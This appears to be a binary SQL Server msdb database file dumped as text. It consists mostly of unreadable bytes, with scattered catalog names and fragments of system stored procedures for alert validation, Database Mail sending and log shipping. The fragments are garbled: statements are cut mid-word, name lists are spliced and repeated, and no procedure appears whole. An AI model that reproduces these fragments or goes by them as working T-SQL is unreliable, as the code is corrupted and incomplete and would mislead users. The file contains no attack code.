(e?	8P)e2(e?X
	P)f2 (e?X
(e?	8P)g3(e?X
(e?	8P)h3(e?X
#	P)i3"(e?(e?	(P)j4(e?X
(e?	8P)k4(e?X
#	P)l5(e?X
%	P)m5#(e?(e?	(P)n6(e?X
%	P)o7(e?X
%	P)p7#(e?(e?	(P)q8(e?X
%	P)r9(e?X
	P)s:(e?X
	P)t;(e?X
	P)u;(e?X
	P)v<(e?X
	P)w=(e?X
	P)x=(e?X
	P)y>(e?X
	P)z?(e?X
(e?	8P){?
(e?X
(e?	8P)|?(e?X
(e?	8P)}@(e?X
(e?	8P)~@
(e?X
(e?	8P)@(e?X
(e?	8P)@(e?X
(e?	8P)A
(e?X
(e?	8P)A(e?X
(e?	8P)B&(e?	 P)B
(e?X
(e?	8P)B(e?X
(e?	8P)B(e?X
(e?	8P)B(e?X
(e?	8P)CX
(e?	0P)D(e?	 P)E(e?	 P)F(e?X
(e?	8P)F&(e?	 Vj/~CWk0D	Xl1E
Ym2FZn3G[ o4


H


\!p5


I

		]	"	q6J^#r7K_$s8L`)aXF[P)F&(e?	 P)F&&(e?	 P)F(e?X
(e?	8P)F(e?X
(	P)F(e?X
(e?	8P)F(e?X
(e?	8P)F
(e?X
(e?	8P)F(e?X
(e?	8P)G(e?X
(e?	8P)HX
(e?	0P)I(e?X
(e?	8P)J(e?X
(e?	8P)K(e?X
(e?	8P)L(e?X
	P)M(e?X
(e?	8P)M	(e?X
(e?	8P)N	(e?X
(e?	8P)N(e?X
(e?	8P)O	(e?X
(e?	8P)O(e?X
(e?	8P)P(e?X
(e?	8P)P(e?X
	P)P (e?X
(e?	8P)Q(e?X
(e?	8P)Q(e?X
#	P)Q"(e?(e?	(P)R(e?X
(e?	8P)R(e?X
#	P)S(e?X
%	P)S#(e?(e?	(P)T(e?X
%	P)U(e?X
%	P)U#(e?(e?	(P)V(e?X
%	P)W(e?X
	P)X(e?X
	P)Y(e?X
	P)Y(e?X
	P)Z(e?X
	P)[(e?X
	P)[(e?X
	P)\(e?X
	P)](e?X
(e?	8P)]
(e?X
(e?	8P)](e?X
(e?	8P)^(e?X
(e?	8P)^
(e?X
(e?	8P)^(e?X
(e?	8P)^(e?X
(e?	8P)_
(e?X
(e?	8P)_(e?X
(e?	8P)`&(e?	 P)`
(e?X
(e?	8P)`(e?X
(e?	8P)`(e?X
(e?	8P)`(e?X
(e?	8P)aX
(e?	0P)b(e?	 P)c(e?	 P)d(e?X
(e?	8P)d&(e?	 P)d&(e?	 P)d&&(e?	 P)d(e?X
(e?	8P)d(e?X
(		P)d(e?X
(e?	8
P)d(e?X
(e?	8P)d
(e?X
(e?	8P)d(e?X
(e?	8
P)e(e?X
(e?	8P)fX
(e?	0P)g(e?X
(e?	8P)h(e?X
(e?	8P)i(e?X
(e?	8P)j(e?X
	P)k(e?X
(e?	8P)k	(e?X
(e?	8P)l	(e?X
(e?	8P)l(e?X
(e?	8P)m	(e?X
(e?	8P)m(e?X
(e?	8P)n(e?X
(e?	8P)n(e?X
	P)n (e?X
(e?	8P)o(e?X
(e?	8P)o(e?X
#	P)o"(e?(e?	(P)p(e?X
(e?	8 P)p(e?X
#	!P)q(e?X
%	"P)q#(e?(e?	(#P)r(e?X
%	$P)s(e?X
%	%P)s#(e?(e?	(&P)t(e?X
%	'P)u(e?X
	(P)v(e?X
	)E
Ym2FZn3G[ o4


H


\!p5


I

		]	"	q6J^#r7K_$s8L`IW.	F\@PI]@Ȱ
(e?^}PI^@Ȱ
(e?^}PI_@Ȱ
(e?^}PI`@Ȱ
}PIa&(e?^}PIb&}PIc&&}PIdȰ
(e?^}PIeȰ
(e?^}PIf5(e?^}PIg6>(e?^}PIh??(e?^}PIi@~(e?^}PIj@Ȱ
(e?^}PIk@Ȱ
(e?^}PIl@Ȱ
(e?^}PIm@Ȱ
(e?^}PIn@Ȱ
(e?^}PIo
@Ȱ
}PIp
@Ȱ
	} PIq
@Ȱ
}"PIr
@Ȱ
	}$PIs
@Ȱ
}%PIt
@Ȱ
	}'PIu@Ȱ
(e?^}(PIv@Ȱ
(e?^})C	2|!kZI8'q`Z'Y+6	OI0'__3cl0'__5nc10'__5nc30'``7clst0'``5nc10'``5nc20'aa7clst0'aa5nc10'bb7clst0'bb5nc1'00'"U+Apk_MSdbms0'"U a_WA_Sys_00000003_0F9755220'"U a_WA_Sys_00000002_0F9755220'w!+TkSYSMAIL_PROFILE_IDMustBeUnique0'w!KUoSYSMAIL_PROFILE_NameMustBeUnique0'֣+VSYSMAIL_PRINCIPALPROFILE_ProfilePrincipalMustBeUnique0'\+WkSYSMAIL_ACCOUNT_IDMustBeUnique0'\KXoSYSMAIL_ACCOUNT_NameMustBeUnique0'bcYqueue_clustered_index0'bdYqueue_secondary_index0'9KeYqueue_clustered_index0'9KfYqueue_secondary_index0'N]?	+g]PK_sysmaintplan_subplan0'Z+hiPK_sysmaintplan_taskdetail_id0'\1i+PK_syscollector_config_store_internal_paremeter_name0'
+PK_syscollector_collection_sets_internal0'
KUQ_syscollector_collection_sets_internal_name0'
 a_WA_Sys_00000007_0AF29B960'
 a_WA_Sys_00000002_0AF29B960'P"+kPK_syspolicy_policy_categories0'P"KuUQ_syspolicy_policy_categories_name0'	c	+gPK_sysdac_instances_internal0'	c	KgUQ_sysdac_instances_internal0'_<M+cPK_sysdac_history_internal0'_<MKcUQ_sysdac_history_internal0'_<McIX_sysdac_history_internal0'+PK_sysutility_ucp_supported_object_types_internal0'ǎ+aPK_sysutility_ucp_mi_name0'ǎK]UQ_sysutility_ucp_mi_id0'/
+PK_sysutility_ucp_processing_state_internal0'|*6+PK_sysutility_ucp_mi_health_internal_name0'` a_WA_Sys_00000004_00000060onfig_store_internal_paremeter_name0'
+PK_syscollector_collection_sets_internal0'
KUQ_syscollector_collection_sets_internal_name0''+PK_syscollector_collector_types_internal0''KUQ_syscollector_collection_types_internal_name0'
 a_WA_Sys_00000007_0AF29B960'' a_WA_Sys_00000009_1C1D27980'' a_WA_Sys_00000008_1C1D27980'' a_WA_Sys_00000007_1C1D27980'' a_WA_Sys_00000006_1C1D27980'
 a_WA_Sys_00000002_0AF29B960'P"+kPK_syspolicy_policy_categories0'P"KuUQ_syspolicy_policy_categories_name0'mR+_PK_syspolicy_object_sets0'mRKiUQ_syspolicy_object_sets_name0'A+YPK_syspolicy_policies0'AKcUQ_syspolicy_policies_name0'A a_WA_Sys_0000000D_1CDC41A70'A a_WA_Sys_0000000C_1CDC41A70'A a_WA_Sys_00000006_1CDC41A70'A a_WA_Sys_00000003_1CDC41A70'	c	+gPK_sysdac_instances_internal0'	c	KgUQ_sysdac_instances_internal0'_<M+cPK_sysdac_history_internal0'_<MKcUQ_sysdac_history_internal0'_<McIX_sysdac_history_internal0'+PK_sysutility_ucp_supported_object_types_internal0'ǎ+aPK_sysutility_ucp_mi_name0'ǎK]UQ_sysutility_ucp_mi_id0'/
+PK_sysutility_ucp_processing_state_internal0'+{PK_sysutility_ucp_policies_internal_id0'NCI_sysutility_resource_health_policies_urn_types0'+PK_sysutility_ucp_policy_check_condition_internal_type0'S-r+PK_sysutility_ucp_policy_target_condition_internal_type0'N+PK_sysutility_ucp_policy_violations_internal0'|*6+PK_sysutility_ucp_mi_health_internal_nameC*v
|

	1	\U'J~E
S
A
i4`_Ab
Jrlh0h 	pRsp_sqlagent_is_srvrolemember0h 	p4sysproxylogin0h 	pPsp_verify_proxy_identifiers0+	pXsp_verify_subsystem_identifiers0+	p<sysproxysubsystem0+	pPsp_verify_proxy_identifiers0O	p4syssubsystems0O	pXsp_verify_subsystem_identifiers0O	p.sysproxies0O	p<sysproxysubsystem0O	pPsp_verify_proxy_identifiers0t	@>DLget_principal_iddbomsdb0t	p.sysproxies0t	p4sysproxylogin0t	pPsp_verify_proxy_identifiers0L	p<sp_update_jobstep0L	p<sysproxysubsystem0L	p0sysjobsteps0L	pPsp_verify_proxy_identifiers0M	`4:ConvertToIntdbo0M	p8sp_isprohibited0M	@\bjsysmail_help_configure_value_spdbomsdb0;	@NT\sysmail_principalprofiledbomsdb0;	@6<Hxp_logininfodbomaster0_	p<sp_SendMailQueues0_	p<sysmail_mailitems0_	@PV^sysmail_verify_profile_spdbomsdb0_	p8sp_RunMailQuery0_	pBsp_GetAttachmentData0_	`<Bget_principal_iddbo0_	@>DLsp_validate_userdbomsdb0_	pRsysmail_attachments_transfer0_		@NT\sysmail_principalprofiledbomsdb0_
	pFsysmail_query_transfer0_	@\bjsysmail_verify_addressparams_spdbomsdb0_	p@sysmail_attachments0	p<sysmail_mailitems0	@(<VvaluePropertiesMailResponses0	@LRZsysmail_logmailevent_spdbomsdb0	p<InternalMailQueue0#
u	p8sysssispackages0yQ	``fsyscollector_config_store_internaldbo0
	pPsyspolicy_policies_internal0
	@TZbsyspolicy_policies_internaldbomsdb0
	`V\sp_syspolicy_check_membershipdbo0	@syspolicy_policy_execution_history_details_internaldbomsdb0	@LRZsyspolicy_configurationdbomsdb0	@BHPsyspolicy_policiesdbomsdb0	@tzsyspolicy_policy_execution_history_internaldbomsdb0	`V\sp_syspolicy_check_membershipdbo0	@~syspolicy_policy_category_subscriptions_internaldbomsdb0AA	@BHPsp_add_jobscheduledbomsdb0AA	@,,4sysjobsmsdb0AA	@28@sp_add_jobdbomsdb0AA	@8>Fsp_update_jobdbomsdb0AA	@LRZsyspolicy_configurationdbomsdb0AA	@>DLsp_add_jobserverdbomsdb0AA	@^dlsyspolicy_configuration_internaldbomsdb0AA	`V\sp_syspolicy_check_membershipdbo0AA		@:@Hsp_add_jobstepdbomsdb0ze	@jpxsyspolicy_system_health_state_internaldbomsdb0ze	`V\sp_syspolicy_check_membershipdbo0	`lrsp_sysutility_ucp_validate_prerequisitesdbo07	@(.:xp_qvdbomaster0P[	`sp_sysutility_mi_validate_enrollment_preconditionsdboernaldbomsdb0y-	`hnsp_syscollector_verify_collector_statedbo0
"	@bhpsyscollector_config_store_internaldbomsdb0
"	`hnsp_syscollector_verify_collector_statedbo0.	@bhpsyscollector_config_store_internaldbomsdb0.	`hnsp_syscollector_verify_collector_statedbo0$S
		@bhpsyscollector_config_store_internaldbomsdb0$	`V\syspolicy_conditions_internaldbo0$	`RXsyspolicy_management_facetsdbo03m		@X^fsyspolicy_conditions_internaldbomsdb03m		`RXsyspolicy_management_facetsdbo03m		@FLTsyspolicy_conditionsdbomsdb03m		`V\sp_syspolicy_check_membershipdbo0l
	@FLTsyspolicy_conditionsdbomsdb0l
	`V\sp_syspolicy_check_membershipdbo0	@X^fsyspolicy_conditions_internaldbomsdb0	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0	`RXsyspolicy_management_facetsdbo0	`V\sp_syspolicy_check_membershipdbo0
	pPsyspolicy_policies_internal0
	@TZbsyspolicy_policies_internaldbomsdb0
	`V\sp_syspolicy_check_membershipdbo0	@syspolicy_policy_execution_history_details_internaldbomsdb0	@LRZsyspolicy_configurationdbomsdb0	@BHPsyspolicy_policiesdbomsdb0	@tzsyspolicy_policy_execution_history_internaldbomsdb0	`V\sp_syspolicy_check_membershipdbo0	@~syspolicy_policy_category_subscriptions_internaldbomsdbRhFN^
R

>`N	b		
h&N|D0P26b&
@
`Vz`h
ZbN;q1^&QT8@ !!!!`Jb	Ovw6KR[{4:get_principal_iddbo6t4:get_principal_iddbo6x[6<get_principal_siddbo6/Ps4:get_principal_iddbo6h@Dt,2ConvertToIntdbo6Lx4InternalMailQueue6Lx4ExternalMailQueue60b{,2ConvertToIntdbo6},2ConvertToIntdbo6~4ExternalMailQueue6,2ConvertToIntdbo6M,2ConvertToIntdbo6_4:get_principal_iddbo64InternalMailQueue61z,2ConvertToIntdbo6U&,backupsetdbo6U(.backupfiledbo6U28backupfilegroupdbo6U6<backupmediafamilydbo6U06backupmediasetdbo6W~V&,backupsetdbo6W~V(.backupfiledbo6W~V28backupfilegroupdbo6W~V6<backupmediafamilydbo6W~V06backupmediasetdbo6+]@Flog_shipping_primariesdbo6^@Flog_shipping_primariesdbo6^DJlog_shipping_secondariesdbo6=`@Flog_shipping_primariesdbo6=`DJlog_shipping_secondariesdbo6a`DJlog_shipping_secondariesdbo6uc@Flog_shipping_primariesdbo6ucDJlog_shipping_secondariesdbo6d@Flog_shipping_primariesdbo6dDJlog_shipping_secondariesdbo6e@Flog_shipping_primariesdbo6eDJlog_shipping_secondariesdbo6Y_g@Flog_shipping_primariesdbo6h@Flog_shipping_primariesdbo6hDJlog_shipping_secondariesdbo6˧i@Flog_shipping_primariesdbo6˧iDJlog_shipping_secondariesdbo6'%"TZfn_syscollector_get_package_pathdbo6?r>TZfn_syscollector_get_package_pathdbo6eNdjfn_syscollector_find_collection_set_rootdbo6Q`ffn_syscollector_get_execution_log_treedbo6I8yRdjfn_syscollector_find_collection_set_rootdbo67,JPfn_syspolicy_get_ps_commanddbo6&Kfd6JPfn_sysdac_is_currentuser_sadbo6%JPfn_sysdac_is_currentuser_sadbo6>@Ffn_sysdac_get_usernamedbo6JPfn_sysdac_is_currentuser_sadbo69DJfn_sysdac_is_dac_creatordbo6'^DJfn_sysdac_is_dac_creatordbo6DJfn_sysdac_is_dac_creatordbo6(JPfn_sysdac_is_currentuser_sadbo6(NTfn_sysdac_get_currentusernamedbo6=V\fn_sysutility_get_is_instance_ucpdbo6f&bKdjfn_sysutility_mi_get_validate_wmi_scriptdbo6QV\fn_sysutility_get_is_instance_ucpdbo69{\bfn_sysutility_ucp_get_instance_is_midbo6|\bfn_sysutility_ucp_get_instance_is_midbo6|Z`fn_sysutility_mi_get_collect_scriptdbo6~fn_sysutility_ucp_get_edition_is_ucp_capable_internaldbo6%hnfn_sysutility_ucp_get_global_health_policydbo6>W\bhfn_sysutility_ucp_get_aggregated_healthdbo6wK]bhfn_sysutility_ucp_get_aggregated_healthdbo6?^bhfn_sysutility_ucp_get_aggregated_healthdbo6Ibhfn_sysutility_ucp_get_aggregated_healthdbo6nxbhfn_sysutility_ucp_get_aggregated_healthdbo6k%	bhfn_sysutility_ucp_get_aggregated_healthdbo6

 bhfn_sysutility_ucp_get_aggregated_healthdbo6D#V\fn_sysutility_get_is_instance_ucpdbop_detach_scheduledbo6@8>sp_attach_scheduledbo6'%"TZfn_syscollector_get_package_pathdbo698>sp_detach_scheduledbo698>sp_attach_scheduledbo6?r>TZfn_syscollector_get_package_pathdbo6cf?:@sp_delete_jobserverdbo6cf?.4sp_delete_jobdbo6cf?8>sp_detach_scheduledbo6eNdjfn_syscollector_find_collection_set_rootdbo6Q`ffn_syscollector_get_execution_log_treedbo6I8yRdjfn_syscollector_find_collection_set_rootdbo6d.4sp_delete_jobdbo67,JPfn_syspolicy_get_ps_commanddbo67,(.sp_add_jobdbo67,4:sp_add_jobserverdbo67,8>sp_attach_scheduledbo67,	06sp_add_jobstepdbo6.	p6..4sp_delete_jobdbo6.p6^1.4sp_delete_jobdbo6&Kfd6AA8>sp_add_jobscheduledbo6AA(.sp_add_jobdbo6AA4:sp_add_jobserverdbo6AA	06sp_add_jobstepdbo6JPfn_sysdac_is_currentuser_sadbo6%JPfn_sysdac_is_currentuser_sadbo6>@Ffn_sysdac_get_usernamedbo6JPfn_sysdac_is_currentuser_sadbo69DJfn_sysdac_is_dac_creatordbo6'^DJfn_sysdac_is_dac_creatordbo6DJfn_sysdac_is_dac_creatordbo6(JPfn_sysdac_is_currentuser_sadbo6(NTfn_sysdac_get_currentusernamedbo6=V\fn_sysutility_get_is_instance_ucpdbo4< 2rzDLT
t	~	.	X8^|`z"`0>Xh<j 

@

N
lH|JNRN
ZbN(^"$SU8@@!!!!`})	^I	y16Xv8binary_message_body6Xv<conversation_group_id6Xv8conversation_handle6Xv0fragment_bitmap6Xv
,fragment_size6Xv:message_enqueue_time6Xv&message_id6Xv@message_sequence_number6Xv0message_type_id6Xv,next_fragment6Xv"priority6Xv,queuing_order6Xv
8service_contract_id6Xv	&service_id6Xvstatus6Xv&validation6x8binary_message_body6x<conversation_group_id6x8conversation_handle6x0fragment_bitmap6x
,fragment_size6x:message_enqueue_time6x&message_id6x@message_sequence_number6x0message_type_id6x,next_fragment6x"priority6x,queuing_order6x
8service_contract_id6x	&service_id6xstatus6x&validation6<8z8binary_message_body6<8z<conversation_group_id6<8z8conversation_handle6<8z0fragment_bitmap6<8z
,fragment_size6<8z:message_enqueue_time6<8z&message_id6<8z@message_sequence_number6<8z0message_type_id6<8z,next_fragment6<8z"priority6<8z,queuing_order6<8z
8service_contract_id6<8z	&service_id6<8zstatus6<8z&validation6u\{(column_guid6u\{ file_id6u\{<filestream_value_name6u\{,oplsn_bOffset6u\{*oplsn_fseqno6u\{*oplsn_slotid6u\{(rowset_guid6u\{
size6u\{	status6gw(@proxy_name6gw"@enabled6gw*@description6gw2@credential_name6gw.@credential_id6gw$@proxy_id6~x$@proxy_id6~x(@proxy_name6	sy$@proxy_id6	sy(@proxy_name6	sy2@credential_name6	sy.@credential_id6	sy$@new_name6	sy"@enabled6	sy*@description6.gz&@group_sid6.gz6@role_principal_id6.gz&@login_sid6KR[{0@subsystem_name6KR[{$@proxy_id6KR[{@name6KR[{*@raise_error6KR[{:@allow_disable_proxy6KR[{@@verify_special_account6KR[{<@check_only_read_perm6=Uw(@alert_name6=Uw.@operator_name6vIx*@object_type6vIx@name6vIx&@enum_type6vIx:@notification_method6vIx*@target_name6=y @job_id6=y$@job_name6=y(@session_id6Lx(@queue_type6y.@contract_name6y,@message_type6y"@request6y(@attachment6y<@prohibitedextensions6=z,@message_data6v0@parentfolderid6"w@name6"w$@folderid6[x$@folderid6y@name6y$@folderid63z@name63z0@parentfolderid6w&@server_id6w*@server_name6w*@description61x2@server_group_id61x$@new_name6jy&@server_id6jy$@new_name6)z8management_facet_id6)zname6)z.execution_mode6ixname6ix,current_value6yRzname6yRz,current_value6CF{@value6@w(object_type6@w,property_nameOzplace6} @msgnum6}@lang6̴~@error6~ @job_id6~$@job_name6~"@step_id6~0@sql_message_id6~,@sql_severity6~0@start_run_date6~,@end_run_date6~0@start_run_time6~	,@end_run_time6~
<@minimum_run_duration6~(@run_status6~2@minimum_retries6~
,@oldest_first6~ @server6~@mode6~$@order_by6~B@distributed_job_history6> @job_id6>0@job_id_as_char6Lx(@queue_type6y.@contract_name6y,@message_type6y"@request6y(@attachment6y<@prohibitedextensions6=z,@message_data60b{*@conv_handle60b{6@message_type_name60b{4@xml_message_body6i|*@mailitem_id6i|(@profile_id6i|:@conversation_handle6i|>@service_contract_name6i|6@message_type_name6}:@conversation_handle6}>@service_contract_name6}6@message_type_name6~2@receive_timeout6*@attachments60@temp_table_uid6<@exclude_query_output6v0@parentfolderid6"w@name6"w$@folderid6[x$@folderid6y@name6y$@folderid63z@name63z0@parentfolderid6X{@name6X{@id6w&@server_id6w*@server_name6w*@descriptionzV.
h
@

			d	<	V



ll	nL P$H
$&
\

P0,H0b<"zX,\0T2dRl(Rnd
t

F$.d8h<`<(.1vJ['-?x)L:A1EA+:::8K|1^ Cj	*	Q				!
R



a'Lu#
P



7v3dH,S
7h,a3XAlFOz=nFg+Ns:g!Fk1dC&Ot* [    	!,!Y!!!!!,"S"v"""
#R####$9$l$$$$$%8%c%%%%&B&q&&&'='j''''(C(p(((()G)n)))	*2*S****@?0A0A0A1@account_name0@ A @7@active_end_time0@@@;@active_start_time0@@@?C@additional_parameters0@@UU?-@alert_name0@@@?9@allow_both_nulls0A`A؉?5@automatic_post0@A%I?!@body0`A0A@3@category_name0@@?#@class0@@?'@command0@@UU?1@copy_enabled0@@33?3@credential_id0@A A@3@database_name0?A@)@datacode0@ AUU?'@db_name0@@?G@delay_between_responses0AA?/@description0@@?3@email_address0A@?'@enabled0@@@1@end_run_time0@pA?K@event_description_keyword0@pA?#@flags0 A?)@folderid0@@@?3@freq_interval0@@@E@freq_relative_interval0@@A@+@freq_type0@@?-@group_name0@@@?@id0@@?Q@include_event_description_in0`B@?%@job_id0B@?)@job_name0@@UU?!@lang0@@A?1@load_enabled0@A%I?-@login_name0@@@?/@mailitem_id0@ AUU?-@message_id0@@@7@minimum_retries0@@@!@mode04BAI?!@name0@@@E@name_of_name_parameter0A@@?)@new_name0@PAff??@notification_method0@@@@=@notify_level_email0@@ A @Q@notify_netsend_operator_name0@@@33?/@object_type0@@33?1@oldest_first0@@ @7@on_fail_step_id0@@@=@on_success_step_id0@0A$?3@operator_name0@@ @=@originating_server0@@?C@out_of_sync_threshold0@ An۶?9@owner_login_name0@@?3@pager_address0@@ A @5@parentfolderid0PA0A@'@plan_id0@@A?C@primary_database_name0@@@??@primary_server_name0@@@5@principal_name0`A@@?-@profile_id0pA?1@profile_name0A@@?)@proxy_id0A?-@proxy_name0@`Ar?7@raise_snmp_trap0@@?7@replyto_address0@@@33?5@retry_interval0@@?-@run_status0pAAff?/@schedule_id0A?3@schedule_name0@ A @C@secondary_server_name0 AA%I?%@server0pA?/@server_name0@@UU?)@severity0@@?5@sql_message_id0@0A0@5@start_run_time0pA@?'@step_id0A?+@step_name0A0A0@+@subsystem0@@@5@subsystem_name0@@@UU@G@sunday_pager_start_time0@ A8?3@target_server0@@A@G@threshold_alert_enabled0@@@UU?!@type0@@?)@username0@@A?E@weekday_pager_end_time0@@UU?3@wmi_namespace0@@UU@+account_id0@@@9active_start_time0@pA?Mattach_query_result_as_file0@@@@@=attachment_encoding0@A?1backup_set_id0@0Aq?=binary_message_body0@@?Ablind_copy_recipients0@@@-body_format0@@A?-category_id0PA@33?!class0@@ A?-collationid0@@@?%command0@pA?=conversation_handle0@@?5copy_recipients0@@@?#crdate0A@@%created0@pA;?csn0@@33?1database_name0@ A8?/date_created0@@UU@'dbfragid0@ An۶?#defval0PA0A$?-description0@@?1dest_nullable0?@?;destination_length0@@A?dflt0@PA?/diffbasetime0@ A?%droplsn0@@?%enabled0@pA?!epoch0@@0Aq?+event_type0@@@Cexecute_query_database0@`A?7file_attachments0@@33?3filegroup_guid0@0A0@'filename0?@ @Afilestream_value_name0@`Ar?!flags0`<f;T;][z,!             AND spi1.object_name = spi2.object_name
                                                                    AND spi1.server_name = spi2.server_name
                                                                    AND spi1.instance_name = spi2.instance_name
                                                                    AND spi2.cntr_type = @perfTypeLargeRawBase
                                                                    )
                            ELSE spi1.cntr_value
                        END,
                'type' = spi1.cntr_type,
                spi1.server_name
        FROM sysalerts_performance_counters_view spi1
        WHERE spi1.cntr_type <> @perfTypeRawBase      -- ignore 32-bit denominator counter type
        AND spi1.cntr_type <> @perfTypeLargeRawBase -- ignore 64-bit denominator counter type
  END
END

TAISERROR(14505, 16, 1, '@wmi_namespace')
      RETURN(1) -- Failure
    END

    IF (@wmi_query IS NOT NULL)
    BEGIN
      RAISERROR(14505, 16, 1, '@wmi_query')
      RETURN(1) -- Failure
    END

    -- Verify the performance condition
    EXECUTE @retval = msdb.dbo.sp_verify_performance_condition @performance_condition
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check category name
  IF (@category_name = N'[DEFAULT]')
    SELECT @category_id = 98
  ELSE
  BEGIN
    SELECT @category_id = category_id
    FROM msdb.dbo.syscategories
    WHERE (category_class = 2) -- Alerts
      AND (category_type = 3) -- None
      AND (name = @category_name)
  END
  IF (@category_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@category_name', @category_name)
    RETURN(1) -- Failure
  END

  -- Check count reset date
  IF (@count_reset_date <> 0)
  BEGIN
    EXECUTE @retval = msdb.dbo.sp_verify_job_date @count_reset_date, '@count_reset_date'
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check count reset time
  IF (@count_reset_time <> 0)
  BEGIN
    EXECUTE @retval = msdb.dbo.sp_verify_job_time @count_reset_time, '@count_reset_time'
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check WMI parameters. Both must exist
  IF (@wmi_namespace IS NOT NULL)
  BEGIN
    IF (@wmi_query IS NULL)
   BEGIN
      RAISERROR(14509, 16, 1, '@wmi_query') 
     RETURN(1) -- Failure
   END
   
    IF (@database_name IS NOT NULL)
    BEGIN
      RAISERROR(14510, 16, 1, '@database_name') 
      RETURN(1) -- Failure
    END

    IF (@event_description_keyword IS NOT NULL)
    BEGIN
      RAISERROR(14510, 16, 1, '@event_description_keyword')
      RETURN(1) -- Failure
    END

    --do not check WMI properties if a registry setting is present
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'AlertNoWmiCheck',
                                           @alert_no_wmi_check OUTPUT,
                                           'no_output'
    if (@alert_no_wmi_check <> 1)
    BEGIN
      EXECUTE @retval = msdb.dbo.sp_sqlagent_notify @op_type = N'T',
                    @wmi_namespace = @wmi_namespace,
               @wmi_query  = @wmi_query,
               @error_flag = 0
      IF (@retval <> 0)
     BEGIN
       RAISERROR(14511, 16, 1)
         RETURN(1) -- Failure
     END
    END

   -- Set event_id to indicate WMI alert   
    SELECT @event_id = 8
  END
  ELSE IF (@wmi_query IS NOT NULL)
  BEGIN
    RAISERROR(14512, 16, 1, '@wmi_namespace')
    RETURN(1) -- Failure
  END
  
  RETURN(0) -- Success
END
=)	=ext_data from sysmail_query_transfer WHERE uid = @temp_table_uid), NULL, NULL )
        WHERE mailitem_id = @mailitem_id

    END

    --Copy into the attachments table
    IF(@AttachmentsExist = 1)
    BEGIN
        --Copy temp attachments to sysmail_attachments      
        INSERT INTO sysmail_attachments(mailitem_id, filename, filesize, attachment)
        SELECT @mailitem_id, filename, filesize, attachment
        FROM sysmail_attachments_transfer
        WHERE uid = @temp_table_uid
    END

    -- Create the primary SSB xml maessage
    SET @sendmailxml = '<requests:SendMail xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://schemas.microsoft.com/databasemail/requests RequestTypes.xsd" xmlns:requests="http://schemas.microsoft.com/databasemail/requests"><MailItemId>'
                        + CONVERT(NVARCHAR(20), @mailitem_id) + N'</MailItemId></requests:SendMail>'

    -- Send the send request on queue.
    EXEC @rc = sp_SendMailQueues @sendmailxml
    IF @rc <> 0
    BEGIN
       RAISERROR(14627, 16, 1, @rc, 'send mail')
       GOTO ErrorHandler;
    END

    -- Print success message if required
    IF (@exclude_query_output = 0)
    BEGIN
       SET @localmessage = FORMATMESSAGE(14635, @mailitem_id)
       PRINT @localmessage
    END  

    --
    -- See if the transaction needs to be commited
    --
    IF (@trancountSave = 0 and @tranStartedBool = 1)
       COMMIT TRAN @procName

    -- All done OK
    goto ExitProc;

    -----------------
    -- Error Handler
    -----------------
ErrorHandler:
    IF (@tranStartedBool = 1) 
       ROLLBACK TRAN @procName

    ------------------
    -- Exit Procedure
    ------------------
ExitProc:
   
    --Always delete query and attactment transfer records. 
   --Note: Query results can also be returned in the sysmail_attachments_transfer table
    DELETE sysmail_attachments_transfer WHERE uid = @temp_table_uid
    DELETE sysmail_query_transfer WHERE uid = @temp_table_uid

   --Raise an error it the query execution fails
   -- This will only be the case when @append_query_error is set to 0 (false)
   IF( (@RetErrorMsg IS NOT NULL) AND (@exclude_query_output=0) )
   BEGIN
      RAISERROR(14661, -1, -1, @RetErrorMsg)
   END

    RETURN (@rc)
END
`;`?@?/syssqlguides0?pA?isysutility_mi_session_statistics_internal0?@?osysutility_ucp_aggregated_mi_health_internal0?@?asysutility_ucp_configuration_internal0?@?Msysutility_ucp_dac_policies0?@?Qsysutility_ucp_datafiles_stub0?@?Gsysutility_ucp_instances0?@?ksysutility_ucp_mi_database_health_internal0?@?Esysutility_ucp_policies0?@?gsysutility_ucp_p<<dary_server_name AND
    primary_database_name = @_primary_database_name AND
    secondary_database_name = @_secondary_database_name 
  GOTO loop
_loop:
  CLOSE sync_update
  DEALLOCATE sync_update
  SELECT * FROM @lsp
END
p`7UD-aG7
|4HDڎ'w`47BP"
>HIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^^^^___``````aaaaaabbbbbbbbbbbb"U"U"Ux.Px.Px.P
x.P	x.Px.Px.Px.Px.P	x.P
x.Px.P]!]!]!]!]!]!]!KKKw!w!֣֣\\e!e!$zz]($bbbbbbbbbbb	9K9K9K9K9K9K9K9K9K9K9K	N]?	Z" 5&5&\1i

''
'	'''
P"P"mRmRAAA
AAA	c		c	_<M_<M_<M_<M_<M_<M_<M_<M_<MEYH$ǎǎ/
S-rS-rS-rS-rS-rS-rNNN|*6|*6ElElElElEl`mRAAA	\e!e!$zz]($'~<A*eH*BKbbbbbbbbbbb	9K9K9K9K9K9K9K9K9K9K9K	N]?	Z" 5&5&,),),,T<T<I>I>I>	I>wBwBwBUGTEUGTE0H0H 
K 
K:Q:Q:Q:QrW=yk=ykZ>pZ>pZ>ps\1i

':eQeQeQeQ''Dڎ'Dڎ'Dڎ'ҕ;Z@Z@Z@
J~[=yk'	'''=yk
Dڎ'4.^.^eeeeePjPjPjPjPj)z)z)zro|ro|ro|ro|ro|KKP"P"mRmRAACCCs{FCCA
AAA	c		c	_<M_<M_<M_<M_<M_<M_<M_X
D
<
						0
|hT@

 

(,lXD0	p	\	H	4	 		pxdPl


XD0tL`8\H<



4
$
|hT@,xdP

(l
t
`
|hT@,xdP<(t`L8$p\H4 lXD0|hT@,$
8
xL
dP<(t`<*6PExq0<"$[%I=@0D@ksp-BWl@?C B?D ,B?F A?FN@@?IFA?ITC?P  B?PKB?S @?SQA?TRB?U 0A?UQA?V -((C D F ITP KS TRU QV @	

LZS@\?@@`c@@l@0<" "0<"$8\gg2==@YD@
$;Ri
!8Of}@D?A?A?BBBB?B?A?AAA	pA?
PA?A?A?
